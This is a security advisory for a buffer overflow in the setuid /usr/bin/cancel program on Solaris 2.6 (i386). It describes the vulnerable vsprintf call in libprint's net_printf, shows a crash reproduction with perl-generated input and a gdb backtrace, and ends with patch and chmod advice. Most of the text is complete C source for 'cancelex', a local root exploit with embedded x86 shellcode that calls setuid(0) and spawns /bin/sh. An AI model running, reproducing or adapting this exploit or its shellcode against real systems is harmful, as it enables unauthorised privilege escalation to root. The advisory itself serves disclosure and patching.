COMMAND
/usr/bin/cancel
SYSTEMS AFFECTED
SunOS 5.6
PROBLEM
Josh A. Strickland found following. There is a buffer overflow
in /usr/bin/cancel. However /usr/bin/cancel in Solaris 2.5.1 is
not setuid root while in 2.6 which may leads us to root exploit on
last one. /usr/bin/cancel is also not setuid root in Solaris
versions prior to 2.5.1. BUT, it seems that this is not an
exploitable condition (2.6, remember, is the only version that is
suid, so this is what we're speaking of), as only i and o
registers are mangled, and not pc. However, it is disconcerting
that overflow problems with lpr were fixed long ago, but similar
problems with other _similar_ programs like lpstat and cancel were
not audited at the same time. This kind of makes me wonder what
other lp related suid progs may have buffer overflows in them?
All said before stands perhaps for the SPARC version, but the i386
version certainly is vulnerable. This aproach exploits another
hole. The hole this exploit hits is in the net_printf() function
(from /usr/lib/libprint.so.2) called by vcancel_remote(), using a
format argument of "%c%s %s%s\n" where the first string argument
is a printer name (derived from command line input). In
net_printf() in Solaris 2.6, there is what appears to be a
vsprintf() call into a stack buffer 1024 bytes in size. You can
see this in action with gdb:
# cd /var/spool/print
# /usr/bin/cancel localhost:`perl -e 'print "A"x2000'`
Segmentation fault (core dumped)
# gdb /usr/bin/cancel core
GNU gdb 4.17
[...]
(gdb) where
#0 0xdff6a7f9 in strlen ()
#1 0xdff987c6 in _doprnt ()
#2 0xdff9fee2 in vsprintf ()
#3 0xdffd863e in net_printf ()
#4 0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
(gdb)
Experimentation with Solaris 7 seems to indicate that this
vsprintf() call in libprint was replaced with a vsnprintf() call,
which solves the buffer overflow, making Solaris 7 immune to this
particular exploit.
/**
*** cancelex - i386 Solaris root exploit for /usr/bin/cancel
***
*** Tested and confirmed under Solaris 2.6 (i386)
***
*** Usage: % cancelex hostname [offset]
***
*** where hostname is the name of a host running the printer service on
*** TCP port 515 (such as "localhost" perhaps) and offset (if present)
*** is the number of bytes to add to the stack pointer to calculate your
*** target return address; try -1000 to 1000 in increments of 100 for
*** starters.
***
*** Cheez Whiz
*** cheezbeast@hotmail.com
***
*** February 25, 1999
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BUFLEN 1031
#define NOP 0x90
char shell[] =
/* 0 */ "\xeb\x3b" /* jmp springboard */
/* syscall: */
/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
/* 9 */ "\xc3" /* ret */
/* start: */
/* 10 */ "\x5e" /* popl %esi */
/* 11 */ "\x31\xc0" /* xor %eax,%eax */
/* 13 */ "\x89\x46\xc1" /* movl %eax,-0x3f(%esi) */
/* 16 */ "\x88\x46\xc6" /* movb %al,-0x3a(%esi) */
/* 19 */ "\x88\x46\x07" /* movb %al,0x7(%esi) */
/* 22 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
/* setuid: */
/* 25 */ "\x31\xc0" /* xor %eax,%eax */
/* 27 */ "\x50" /* pushl %eax */
/* 28 */ "\xb0\x17" /* movb $0x17,%al */
/* 30 */ "\xe8\xdf\xff\xff\xff" /* call syscall */
/* 35 */ "\x83\xc4\x04" /* addl $0x4,%esp */
/* execve: */
/* 38 */ "\x31\xc0" /* xor %eax,%eax */
/* 40 */ "\x50" /* pushl %eax */
/* 41 */ "\x8d\x5e\x08" /* leal 0x8(%esi),%ebx */
/* 44 */ "\x53" /* pushl %ebx */
/* 45 */ "\x8d\x1e" /* leal (%esi),%ebx */
/* 47 */ "\x89\x5e\x08" /* movl %ebx,0x8(%esi) */
/* 50 */ "\x53" /* pushl %ebx */
/* 51 */ "\xb0\x3b" /* movb $0x3b,%al */
/* 53 */ "\xe8\xc8\xff\xff\xff" /* call syscall */
/* 58 */ "\x83\xc4\x0c" /* addl $0xc,%esp */
/* springboard: */
/* 61 */ "\xe8\xc8\xff\xff\xff" /* call start */
/* data: */
/* 66 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
/* 74 */ "\xff\xff\xff\xff" /* DATA */
/* 78 */ "\xff\xff\xff\xff"; /* DATA */
char buf[BUFLEN+1];
char *egg;
unsigned long int esp, nop;
long int offset = 0;
unsigned long int
get_esp()
{
__asm__("movl %esp,%eax");
}
void
main(int argc, char *argv[])
{
int i;
if (argc < 2) {
printf("usage: %s hostname [offset]\n", argv[0]);
return;
}
esp = get_esp();
if (argc > 2)
offset = strtol(argv[2], NULL, 0);
if (argc > 3)
nop = strtoul(argv[3], NULL, 0);
else
nop = 933;
memset(buf, NOP, BUFLEN);
memcpy(buf+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i <= BUFLEN-4; i += 4)
*((int *) &buf[i]) = esp+offset;
if ((egg = (char *) malloc(strlen(argv[1])+1+BUFLEN+1)) == NULL) {
printf("malloc failed!\n");
return;
}
snprintf(egg, strlen(argv[1])+1+BUFLEN+1, "%s:%s", argv[1], buf);
printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n",
esp+offset, esp, offset, nop);
execl("/usr/bin/cancel", "cancel", egg, NULL);
/* execl("/usr/ucb/lprm", "lprm", "-P", egg, NULL); */
printf("exec failed!\n");
return;
}
SOLUTION
This buffer overflow was fixed in Solaris 7 before it was
released. If you are also using Solaris 2.6, please install patch
106235-03. In any case, be sure to chmod cancel now if you happen
to run 2.6, and get the patch when it comes out.